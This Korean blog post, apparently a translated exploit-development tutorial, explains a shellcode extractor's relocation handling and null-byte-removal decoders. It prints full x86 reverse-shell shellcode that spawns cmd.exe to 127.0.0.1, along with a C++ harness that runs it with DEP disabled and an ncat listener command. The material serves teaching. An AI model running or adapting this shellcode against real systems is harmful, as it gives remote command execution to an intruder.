이 명령어는 쉘코드의 위치를 수정합니다. EAX는 현재 offX 로써 here의 상대적인 위치의 오프셋을 가지고 있습니다. 이 뜻은 EDI+EAX가 해당 위치의 절대 주소를 갖음을 의미합니다. 해당 위치의 DWORD는 here에 연관된 정확한 문자열의 오프셋을 가지고 있습니다. EDI를 DWORD에 더함으로써 우리는 DWORD를 문자열의 절대 주소로 바꿀 수 있습니다. 로더가 끝나게 되면 쉘 코드가 수정 됫음을 의미하고 실행 되게 됩니다.
결론적으로 재배치가 일어나는 경우에 add_loader_to_shellcode가 호출되게 됩니다. 메인 함수를 보면 다음과 같습니다.
1 2 3 4 5 6 7 8 9 10 11 | <snip> if len(relocs) != 0: print('Found %d reference(s) to %d string(s) in .rdata' % (len(relocs), len(addr_to_strings))) print('Strings:') for s in addr_to_strings.values(): print(' ' + s[:-1]) print('') shellcode = add_loader_to_shellcode(shellcode, relocs, addr_to_strings) else: print('No relocations found') <snip> | cs |
쉘 코드에서 null 바이트 제거 (1)
재배치 이후, 쉘코드에 존재하는 null 바이트를 다룰 시간입니다. 위에서 설명햇듯이, 이런 null 바이트 제거는 필요합니다. 이를 위해 저는 2개의 함수를 작성했습니다.
1. get_fixed_shellcode_single_block
2. get_fixed_shellcode
첫 번째 함수는 항상 동작하진 않지만 더 짧은 코드로 구성되어 있고 먼저 시도하게 됩니다. 두 번째 함수는 더 긴 코드로 구성되어 있으며 항상 동작을 보증합니다.
get_fixed_shellcode_single_block을 보면 다음과 같이 정의가 되어 있습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 | def get_fixed_shellcode_single_block(shellcode): ''' Returns a version of shellcode without null bytes or None if the shellcode can't be fixed. If this function fails, use get_fixed_shellcode(). ''' # Finds one non-null byte not present, if any. bytes = set([ord(c) for c in shellcode]) missing_bytes = [b for b in range(1, 256) if b not in bytes] if len(missing_bytes) == 0: return None # shellcode can't be fixed missing_byte = missing_bytes[0] (xor1, xor2) = get_xor_values(len(shellcode)) code = [ 0xE8, 0xFF, 0xFF, 0xFF, 0xFF, # CALL $ + 4 # here: 0xC0, # (FF)C0 = INC EAX 0x5F, # POP EDI 0xB9, xor1[0], xor1[1], xor1[2], xor1[3], # MOV ECX, <xor value 1 for shellcode len> 0x81, 0xF1, xor2[0], xor2[1], xor2[2], xor2[3], # XOR ECX, <xor value 2 for shellcode len> 0x83, 0xC7, 29, # ADD EDI, shellcode_begin - here 0x33, 0xF6, # XOR ESI, ESI 0xFC, # CLD # loop1: 0x8A, 0x07, # MOV AL, BYTE PTR [EDI] 0x3C, missing_byte, # CMP AL, <missing byte> 0x0F, 0x44, 0xC6, # CMOVE EAX, ESI 0xAA, # STOSB 0xE2, 0xF6 # LOOP loop1 # shellcode_begin: ] return ''.join([chr(x) for x in code]) + shellcode.replace('\0', chr(missing_byte)) | cs |
아이디어는 매우 간단합니다. 쉘코드에 빠진 값이 있는지 바이트 단위로 분석합니다. 예를들어 값이 0x14 라고 한다면 쉘코드에 존재하는 모든 0x00 값을 0x14 로 변경합니다. 쉘코드에 더이상 null 바이트가 존재하지 않지만 이 값들이 수정되었기 때문에 동작 시킬수가 없습니다. 마지막 작업은 쉘코드 복호화 같은 작업이 실행 중에 필요한데 이는 원본 쉘코드가 실행 되기 전에 null 바이트를 복원하는 역할을 합니다. 정의된 코드는 다음과 같습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | CALL $ + 4 ; PUSH "here"; JMP "here"-1 here: (FF)C0 = INC EAX ; not important: just a NOP POP EDI ; EDI = "here" MOV ECX, <xor value 1 for shellcode len> XOR ECX, <xor value 2 for shellcode len> ; ECX = shellcode length ADD EDI, shellcode_begin - here ; EDI = absolute address of original shellcode XOR ESI, ESI ; ESI = 0 CLD ; tells STOSB to go forwards loop1: MOV AL, BYTE PTR [EDI] ; AL = current byte of the shellcode CMP AL, <missing byte> ; is AL the special byte? CMOVE EAX, ESI ; if AL is the special byte, then EAX = 0 STOSB ; overwrite the current byte of the shellcode with AL LOOP loop1 ; DEC ECX; if ECX > 0 then JMP loop1 shellcode_begin: | cs |
여기에 몇몇 중요한 점들이 있습니다. 먼저 코드 자체로는 null 바이트를 포함할 수 없기 때문에 이를 제거할 수 있는 다른 코드가 필요합니다.
보시다시피, CALL 명령이 here 로 뛰지 않는데 그 이유는 해당 opcode 가
E8 00 00 00 00 # CALL here
이런식으로 4개의 null 바이트를 포함하고 있기 때문입니다. CALL 명령이 총 5 바이트 이기 때문에 CALL here 은 CALL $+5 와 같게 됩니다. null 바이트를 처리하는 꼼수로는 CALL $+4를 이용하는 것 입니다.
E8 FF FF FF FF # CALL $+4
이 CALL은 4 바이트를 건너 뛰고 CALL 자체의 마지막 FF 로 뛰게 됩니다. 해당 CALL 명령은 바로 C0를 만나게 되는데 이는 INC EAX로 되고 결국 FF C0가 되게 됩니다. CALL에 의해 push 된 값은 여전히 here label의 절대 주소를 갖습니다.
null 바이트를 피하는 두 번째 꼼수는 다음과 같습니다.
1 2 | MOV ECX, <xor value 1 for shellcode len> XOR ECX, <xor value 2 for shellcode len> | cs |
간단히
1 | MOV ECX, <shellcode len> | cs |
처럼 이용할 수 있지만 이는 null 바이트를 포함하게 됩니다. 사실 쉘코드의 크기가 0x400 이라면 우리는 다음과 같이
B9 00 04 00 00 MOV ECX, 400h
3개의 null 바이트를 포함하게 됩니다.
이를 피하기 위해서는 00000400h 에 없는 null 바이트가 아닌 값을 선택해야 합니다. 예를들어 0x01을 선택했다고 하면 다음과 같이 연산이 됩니다.
<xor value 1 for shellcode len> = 00000400h xor 01010101 = 01010501h
<xor value 2 for shellcode len> = 01010101h
결과적으로 두 명령모두 null 바이트가 없으며 xor 후 원본 값인 400h를 얻게 됩니다.
2개의 명령은 다음과 같습니다.
B9 01 05 01 01 MOV ECX, 01010501h
81 F1 01 01 01 01 XOR ECX, 01010101h
2개의 xor 값들은 함수 get_xor_values에 의해 연산됩니다.
코드 자체는 이해하기 간단합니다. 이는 단지 쉘코드의 바이트 단위로 돌아 다니며 null 바이트를 특정 값으로 덮어 씁니다. (위 예에서는 0x14)
쉘 코드에서 null 바이트 제거 (2)
쉘 코드에 존재하지 않는 바이트 값을 찾지 못하면 위의 방법은 실패 할 수 있습니다. 만약 그렇다면, 좀 더 복잡한 get_fixed_shellcode를 사용합니다.
아이디어는 쉘 코드를 254 바이트 블록으로 나누는 것 입니다. 각각의 블록은 반드시 하나의 “missing byte” 값을 갖는데 그 이유는 하나의 바이트는 255 개의 0이 아닌 값을 갖을 수 있기 때문입니다. 우리는 각각의 블록에서 missing byte를 선택하고 각각의 블록을 개별적으로 처리합니다. 하지만 이는 비효율적인데 그 이유는 254*N 바이트 쉘코드를 위해 우리는 쉘코드 이전이나 이후에 N 개의 “missing byte”를 저장해야 하기 때문입니다. (디코더는 missing byte에 대해 알아야 합니다) 좀더 똑똑한 방법으로는 가능한 동일한 “missing byte”를 사용하는 것 입니다. 쉘코드 시작부터 missing byte를 넘을 때까지 블록들을 유지합니다. 만약 이렇게 된다면 이전 청크에서 마지막 블록을 제거할 수 있고 마지막 블록에서 새로운 청크가 시작됩니다. 마지막으로 <missing_byte, num_blocks> 짝의 리스트는 다음과 같습니다.
[(missing_byte1, num_blocks1), (missing_byte2, num_blocks2), ...]
저는 단일 바이트에 num_blockX를 1부터 255까지 제한했습니다.
아래는 청크에서 쉘코드를 나누는 get_fixed_shellcode 의 일부분 입니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 | def get_fixed_shellcode(shellcode): ''' Returns a version of shellcode without null bytes. This version divides the shellcode into multiple blocks and should be used only if get_fixed_shellcode_single_block() doesnt work with this shellcode. ''' # The format of bytes_blocks is # [missing_byte1, number_of_blocks1, # missing_byte2, number_of_blocks2, ...] # where missing_byteX is the value used to overwrite the null bytes in the # shellcode, while number_of_blocksX is the number of 254-byte blocks where # to use the corresponding missing_byteX. bytes_blocks = [] shellcode_len = len(shellcode) i = 0 while i < shellcode_len: num_blocks = 0 missing_bytes = list(range(1, 256)) # Tries to find as many 254-byte contiguous blocks as possible which misses at # least one non-null value. Note that a single 254-byte block always misses at # least one non-null value. while True: if i >= shellcode_len or num_blocks == 255: bytes_blocks += [missing_bytes[0], num_blocks] break bytes = set([ord(c) for c in shellcode[i:i+254]]) new_missing_bytes = [b for b in missing_bytes if b not in bytes] if len(new_missing_bytes) != 0: # new block added missing_bytes = new_missing_bytes num_blocks += 1 i += 254 else: bytes += [missing_bytes[0], num_blocks] break <snip> | cs |
이 전과 마찬가지로, 쉘코드에 붙여질 “decoder”에 대해 얘기할 필요가 있습니다. 이 디코더는 이 전보다 좀 더 길긴 하지만 원리는 같습니다.
코드는 다음과 같습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 | code = ([ 0xEB, len(bytes_blocks)] + # JMP SHORT skip_bytes # bytes: bytes_blocks + [ # ... # skip_bytes: 0xE8, 0xFF, 0xFF, 0xFF, 0xFF, # CALL $ + 4 # here: 0xC0, # (FF)C0 = INC EAX 0x5F, # POP EDI 0xB9, xor1[0], xor1[1], xor1[2], xor1[3], # MOV ECX, <xor value 1 for shellcode len> 0x81, 0xF1, xor2[0], xor2[1], xor2[2], xor2[3], # XOR ECX, <xor value 2 for shellcode len> 0x8D, 0x5F, -(len(bytes_blocks) + 5) & 0xFF, # LEA EBX, [EDI + (bytes - here)] 0x83, 0xC7, 0x30, # ADD EDI, shellcode_begin - here # loop1: 0xB0, 0xFE, # MOV AL, 0FEh 0xF6, 0x63, 0x01, # MUL AL, BYTE PTR [EBX+1] 0x0F, 0xB7, 0xD0, # MOVZX EDX, AX 0x33, 0xF6, # XOR ESI, ESI 0xFC, # CLD # loop2: 0x8A, 0x07, # MOV AL, BYTE PTR [EDI] 0x3A, 0x03, # CMP AL, BYTE PTR [EBX] 0x0F, 0x44, 0xC6, # CMOVE EAX, ESI 0xAA, # STOSB 0x49, # DEC ECX 0x74, 0x07, # JE shellcode_begin 0x4A, # DEC EDX 0x75, 0xF2, # JNE loop2 0x43, # INC EBX 0x43, # INC EBX 0xEB, 0xE3 # JMP loop1 # shellcode_begin: ]) | cs |
bytes_blocks는 배열로 되어 있습니다.
[missing_byte1, num_blocks1, missing_byte2, num_blocks2, ...]
이는 전에 설명했지만 여기서는 짝으로 이루어져 있지 않습니다.
코드는 bytes_blocks을 건너 뛰는 JMP SHORT 으로 시작하게 됩니다. 이를 위해 len(bytes_blocks) 는 0x7F 이하가 되어야 합니다. 하지만 보시다시피, len(bytes_blocks)는 다른 명령에서도 볼 수 있습니다.
1 | 0x8D, 0x5F, -(len(bytes_blocks) + 5) & 0xFF, # LEA EBX, [EDI + (bytes - here)] | cs |
이는 len(bytes_blocks)가 0x7F – 5 이하가 되어야 함을 의미합니다. 만약 조건이 위배되면 다음 코드가 실행 됩니다.
1 2 3 | if len(bytes_blocks) > 0x7f - 5: # Can't assemble "LEA EBX, [EDI + (bytes-here)]" or "JMP skip_bytes". return None | cs |
코드에 대해 좀더 자세히 보면 다음과 같습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 | JMP SHORT skip_bytes bytes: ... skip_bytes: CALL $ + 4 ; PUSH "here"; JMP "here"-1 here: (FF)C0 = INC EAX ; not important: just a NOP POP EDI ; EDI = absolute address of "here" MOV ECX, <xor value 1 for shellcode len> XOR ECX, <xor value 2 for shellcode len> ; ECX = shellcode length LEA EBX, [EDI + (bytes - here)] ; EBX = absolute address of "bytes" ADD EDI, shellcode_begin - here ; EDI = absolute address of the shellcode loop1: MOV AL, 0FEh ; AL = 254 MUL AL, BYTE PTR [EBX+1] ; AX = 254 * current num_blocksX = num bytes MOVZX EDX, AX ; EDX = num bytes of the current chunk XOR ESI, ESI ; ESI = 0 CLD ; tells STOSB to go forwards loop2: MOV AL, BYTE PTR [EDI] ; AL = current byte of shellcode CMP AL, BYTE PTR [EBX] ; is AL the missing byte for the current chunk? CMOVE EAX, ESI ; if it is, then EAX = 0 STOSB ; replaces the current byte of the shellcode with AL DEC ECX ; ECX -= 1 JE shellcode_begin ; if ECX == 0, then we're done! DEC EDX ; EDX -= 1 JNE loop2 ; if EDX != 0, then we keep working on the current chunk INC EBX ; EBX += 1 (moves to next pair... INC EBX ; EBX += 1 ... missing_bytes, num_blocks) JMP loop1 ; starts working on the next chunk shellcode_begin: | cs |
스크립트 테스팅
여기서부터는 간단합니다! 스크립트를 인자 없이 실행하면 다음과 같은 메시지가 뜨게 됩니다.
Shellcode Extractor by Massimiliano Tomassoli (2015)
Usage:
sce.py <exe file> <map file>
만약 기억하신다면 우리는 전에 VS 2013 링커에서 map file을 제공한다고 했었습니다. 스크립트에 실행 파일 경로와 맵 파일 경로를 넣어 줍니다. 아래는 우리의 리버스 쉘을 얻는 코드 입니다.
Shellcode Extractor by Massimiliano Tomassoli (2015)
Extracting shellcode length from "mapfile"...
shellcode length: 614
Extracting shellcode from "shellcode.exe" and analyzing relocations...
Found 3 reference(s) to 3 string(s) in .rdata
Strings:
ws2_32.dll
cmd.exe
127.0.0.1
Fixing the shellcode...
final shellcode length: 715
char shellcode[] =
"\xe8\xff\xff\xff\xff\xc0\x5f\xb9\xa8\x03\x01\x01\x81\xf1\x01\x01"
"\x01\x01\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x05\x0f\x44\xc6\xaa"
"\xe2\xf6\xe8\x05\x05\x05\x05\x5e\x8b\xfe\x81\xc6\x7b\x02\x05\x05"
"\xb9\x03\x05\x05\x05\xfc\xad\x01\x3c\x07\xe2\xfa\x55\x8b\xec\x83"
"\xe4\xf8\x81\xec\x24\x02\x05\x05\x53\x56\x57\xb9\x8d\x10\xb7\xf8"
"\xe8\xa5\x01\x05\x05\x68\x87\x02\x05\x05\xff\xd0\xb9\x40\xd5\xdc"
"\x2d\xe8\x94\x01\x05\x05\xb9\x6f\xf1\xd4\x9f\x8b\xf0\xe8\x88\x01"
"\x05\x05\xb9\x82\xa1\x0d\xa5\x8b\xf8\xe8\x7c\x01\x05\x05\xb9\x70"
"\xbe\x1c\x23\x89\x44\x24\x18\xe8\x6e\x01\x05\x05\xb9\xd1\xfe\x73"
"\x1b\x89\x44\x24\x0c\xe8\x60\x01\x05\x05\xb9\xe2\xfa\x1b\x01\xe8"
"\x56\x01\x05\x05\xb9\xc9\x53\x29\xdc\x89\x44\x24\x20\xe8\x48\x01"
"\x05\x05\xb9\x6e\x85\x1c\x5c\x89\x44\x24\x1c\xe8\x3a\x01\x05\x05"
"\xb9\xe0\x53\x31\x4b\x89\x44\x24\x24\xe8\x2c\x01\x05\x05\xb9\x98"
"\x94\x8e\xca\x8b\xd8\xe8\x20\x01\x05\x05\x89\x44\x24\x10\x8d\x84"
"\x24\xa0\x05\x05\x05\x50\x68\x02\x02\x05\x05\xff\xd6\x33\xc9\x85"
"\xc0\x0f\x85\xd8\x05\x05\x05\x51\x51\x51\x6a\x06\x6a\x01\x6a\x02"
"\x58\x50\xff\xd7\x8b\xf0\x33\xff\x83\xfe\xff\x0f\x84\xc0\x05\x05"
"\x05\x8d\x44\x24\x14\x50\x57\x57\x68\x9a\x02\x05\x05\xff\x54\x24"
"\x2c\x85\xc0\x0f\x85\xa8\x05\x05\x05\x6a\x02\x57\x57\x6a\x10\x8d"
"\x44\x24\x58\x50\x8b\x44\x24\x28\xff\x70\x10\xff\x70\x18\xff\x54"
"\x24\x40\x6a\x02\x58\x66\x89\x44\x24\x28\xb8\x05\x7b\x05\x05\x66"
"\x89\x44\x24\x2a\x8d\x44\x24\x48\x50\xff\x54\x24\x24\x57\x57\x57"
"\x57\x89\x44\x24\x3c\x8d\x44\x24\x38\x6a\x10\x50\x56\xff\x54\x24"
"\x34\x85\xc0\x75\x5c\x6a\x44\x5f\x8b\xcf\x8d\x44\x24\x58\x33\xd2"
"\x88\x10\x40\x49\x75\xfa\x8d\x44\x24\x38\x89\x7c\x24\x58\x50\x8d"
"\x44\x24\x5c\xc7\x84\x24\x88\x05\x05\x05\x05\x01\x05\x05\x50\x52"
"\x52\x52\x6a\x01\x52\x52\x68\x92\x02\x05\x05\x52\x89\xb4\x24\xc0"
"\x05\x05\x05\x89\xb4\x24\xbc\x05\x05\x05\x89\xb4\x24\xb8\x05\x05"
"\x05\xff\x54\x24\x34\x6a\xff\xff\x74\x24\x3c\xff\x54\x24\x18\x33"
"\xff\x57\xff\xd3\x5f\x5e\x33\xc0\x5b\x8b\xe5\x5d\xc3\x33\xd2\xeb"
"\x10\xc1\xca\x0d\x3c\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0"
"\x41\x8a\x01\x84\xc0\x75\xea\x8b\xc2\xc3\x55\x8b\xec\x83\xec\x14"
"\x53\x56\x57\x89\x4d\xf4\x64\xa1\x30\x05\x05\x05\x89\x45\xfc\x8b"
"\x45\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8d\x47\xf8"
"\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b\x5c\x30\x78"
"\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x9e\xff\xff\xff\x8b"
"\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0\x89\x45\xfc"
"\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x7d\xff\xff\xff"
"\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d\xf0\x40\x89"
"\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\xa0\x33\xc0\x5f"
"\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24\x8d\x04\x48"
"\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04\x30\x03\xc6"
"\xeb\xdd\x2f\x05\x05\x05\xf2\x05\x05\x05\x80\x01\x05\x05\x77\x73"
"\x32\x5f\x33\x32\x2e\x64\x6c\x6c\x05\x63\x6d\x64\x2e\x65\x78\x65"
"\x05\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31\x05";
재배치(relocation)에 대한 내용은 굉장히 중요한데 그 이유는 모든것이 잘 되었는지 확인할 수 있기 때문입니다. 예를들어, 우리의 리버스 쉘이 3개의 문자열을 이용하고 .rdata 에서 잘 가져옴을 알고 있다고 하면 원본 쉘 코드는 614 바이트를 갖고 최종 쉘 코드 (재배치와 null byte를 처리 이후) 715 바이트가 됨을 볼 수 있습니다.
이제 우리는 어떤 방식으로 쉘코드 실행 결과를 볼 필요가 있습니다. 스크립트는 C/C++ 형태로 쉘코드를 제공하며 우리는 단지 C/C++ 파일에 복사 붙여넣기를 하면 됩니다. 아래는 전체 소스 코드 입니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 | #include <cstring> #include <cassert> // Important: Disable DEP! // (Linker->Advanced->Data Execution Prevention = NO) void main() { char shellcode[] = "\xe8\xff\xff\xff\xff\xc0\x5f\xb9\xa8\x03\x01\x01\x81\xf1\x01\x01" "\x01\x01\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x05\x0f\x44\xc6\xaa" "\xe2\xf6\xe8\x05\x05\x05\x05\x5e\x8b\xfe\x81\xc6\x7b\x02\x05\x05" "\xb9\x03\x05\x05\x05\xfc\xad\x01\x3c\x07\xe2\xfa\x55\x8b\xec\x83" "\xe4\xf8\x81\xec\x24\x02\x05\x05\x53\x56\x57\xb9\x8d\x10\xb7\xf8" "\xe8\xa5\x01\x05\x05\x68\x87\x02\x05\x05\xff\xd0\xb9\x40\xd5\xdc" "\x2d\xe8\x94\x01\x05\x05\xb9\x6f\xf1\xd4\x9f\x8b\xf0\xe8\x88\x01" "\x05\x05\xb9\x82\xa1\x0d\xa5\x8b\xf8\xe8\x7c\x01\x05\x05\xb9\x70" "\xbe\x1c\x23\x89\x44\x24\x18\xe8\x6e\x01\x05\x05\xb9\xd1\xfe\x73" "\x1b\x89\x44\x24\x0c\xe8\x60\x01\x05\x05\xb9\xe2\xfa\x1b\x01\xe8" "\x56\x01\x05\x05\xb9\xc9\x53\x29\xdc\x89\x44\x24\x20\xe8\x48\x01" "\x05\x05\xb9\x6e\x85\x1c\x5c\x89\x44\x24\x1c\xe8\x3a\x01\x05\x05" "\xb9\xe0\x53\x31\x4b\x89\x44\x24\x24\xe8\x2c\x01\x05\x05\xb9\x98" "\x94\x8e\xca\x8b\xd8\xe8\x20\x01\x05\x05\x89\x44\x24\x10\x8d\x84" "\x24\xa0\x05\x05\x05\x50\x68\x02\x02\x05\x05\xff\xd6\x33\xc9\x85" "\xc0\x0f\x85\xd8\x05\x05\x05\x51\x51\x51\x6a\x06\x6a\x01\x6a\x02" "\x58\x50\xff\xd7\x8b\xf0\x33\xff\x83\xfe\xff\x0f\x84\xc0\x05\x05" "\x05\x8d\x44\x24\x14\x50\x57\x57\x68\x9a\x02\x05\x05\xff\x54\x24" "\x2c\x85\xc0\x0f\x85\xa8\x05\x05\x05\x6a\x02\x57\x57\x6a\x10\x8d" "\x44\x24\x58\x50\x8b\x44\x24\x28\xff\x70\x10\xff\x70\x18\xff\x54" "\x24\x40\x6a\x02\x58\x66\x89\x44\x24\x28\xb8\x05\x7b\x05\x05\x66" "\x89\x44\x24\x2a\x8d\x44\x24\x48\x50\xff\x54\x24\x24\x57\x57\x57" "\x57\x89\x44\x24\x3c\x8d\x44\x24\x38\x6a\x10\x50\x56\xff\x54\x24" "\x34\x85\xc0\x75\x5c\x6a\x44\x5f\x8b\xcf\x8d\x44\x24\x58\x33\xd2" "\x88\x10\x40\x49\x75\xfa\x8d\x44\x24\x38\x89\x7c\x24\x58\x50\x8d" "\x44\x24\x5c\xc7\x84\x24\x88\x05\x05\x05\x05\x01\x05\x05\x50\x52" "\x52\x52\x6a\x01\x52\x52\x68\x92\x02\x05\x05\x52\x89\xb4\x24\xc0" "\x05\x05\x05\x89\xb4\x24\xbc\x05\x05\x05\x89\xb4\x24\xb8\x05\x05" "\x05\xff\x54\x24\x34\x6a\xff\xff\x74\x24\x3c\xff\x54\x24\x18\x33" "\xff\x57\xff\xd3\x5f\x5e\x33\xc0\x5b\x8b\xe5\x5d\xc3\x33\xd2\xeb" "\x10\xc1\xca\x0d\x3c\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0" "\x41\x8a\x01\x84\xc0\x75\xea\x8b\xc2\xc3\x55\x8b\xec\x83\xec\x14" "\x53\x56\x57\x89\x4d\xf4\x64\xa1\x30\x05\x05\x05\x89\x45\xfc\x8b" "\x45\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8d\x47\xf8" "\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b\x5c\x30\x78" "\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x9e\xff\xff\xff\x8b" "\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0\x89\x45\xfc" "\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x7d\xff\xff\xff" "\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d\xf0\x40\x89" "\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\xa0\x33\xc0\x5f" "\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24\x8d\x04\x48" "\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04\x30\x03\xc6" "\xeb\xdd\x2f\x05\x05\x05\xf2\x05\x05\x05\x80\x01\x05\x05\x77\x73" "\x32\x5f\x33\x32\x2e\x64\x6c\x6c\x05\x63\x6d\x64\x2e\x65\x78\x65" "\x05\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31\x05"; static_assert(sizeof(shellcode) > 4, "Use 'char shellcode[] = ...' (not 'char *shellcode = ...')"); // We copy the shellcode to the heap so that it's in writeable memory and can modify itself. char *ptr = new char[sizeof(shellcode)]; memcpy(ptr, shellcode, sizeof(shellcode)); ((void(*)())ptr)(); } | cs |
이 코드가 동작하게 하려면 DEP (Data Execution Prevention)을 비활성화 시켜야 하는데 이는 Project -> <solution name> Properties 에서 Configuration Properties, Linker 그리고 Advanced 에 Data Prevention (DEP)를 No (/NXCOMPAT:NO)로 설정하면 됩니다. 우리의 쉘 코드는 DEP 가 켜져 있으면 힙 영역이 실행 불가능하기 때문에 쉘 코드가 힙에서 실행 가능하도록 하려면 위 작업이 필요합니다.
static_assert 는 C++11 (그래서 VS 2013 CTP 가 필요합니다)에서 소개가 되었고 여기서는 확인 용도로 사용됩니다.
1 | char *shellcode = "..."; | cs |
이렇게 사용하는 대신,
1 | char shellcode[] = "..."; | cs |
이렇게 사용합니다. 두 번째 예에서 sizeof(shellcode) 는 쉘코드의 크기에 영향을 주며 stack에 복사됩니다. 첫 번째 경우에는 sizeof(shellcode)는 단지 포인터의 크기이며 포인터는 .rdata 의 쉘코드를 가리키게 됩니다.
쉘코드를 테스트하기 위해서는 명령창 (cmd.exe)을 열고 다음과 같이 입력하고
ncat -lvp 123
이후, 쉘 코드를 실행하면 됩니다.
'Projects > Exploit Development' 카테고리의 다른 글
[익스플로잇 개발] 08. Exploitme2 (스택 쿠키 & SEH) (0) | 2016.07.19 |
---|---|
[익스플로잇 개발] 07. Exploitme1 ("ret eip" 덮어쓰기) (0) | 2016.07.19 |
[익스플로잇 개발] 05. 윈도우즈 기초 (0) | 2016.07.19 |
[익스플로잇 개발] 04. 힙 (Heap) (0) | 2016.07.19 |
[익스플로잇 개발] 03. 구조적 예외 처리 (SEH) (0) | 2016.07.19 |
- Total
- Today
- Yesterday
- Mona 2
- TenDollar CTF
- 윈도우즈 익스플로잇 개발
- 힙 스프레잉
- 쉘 코드 작성
- IE 11 exploit development
- IE UAF
- shellcode
- 쉘 코드
- TenDollar
- Use after free
- IE 11 exploit
- IE 11 UAF
- Windows Exploit Development
- IE 10 익스플로잇
- IE 10 Exploit Development
- expdev 번역
- heap spraying
- School CTF Write up
- WinDbg
- CTF Write up
- IE 10 리버싱
- data mining
- 2014 SU CTF Write UP
- 2015 School CTF
- 데이터 마이닝
- UAF
- School CTF Writeup
- shellcode writing
- IE 10 God Mode
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 16 | 17 | 18 | 19 | 20 | 21 |
22 | 23 | 24 | 25 | 26 | 27 | 28 |
29 | 30 | 31 |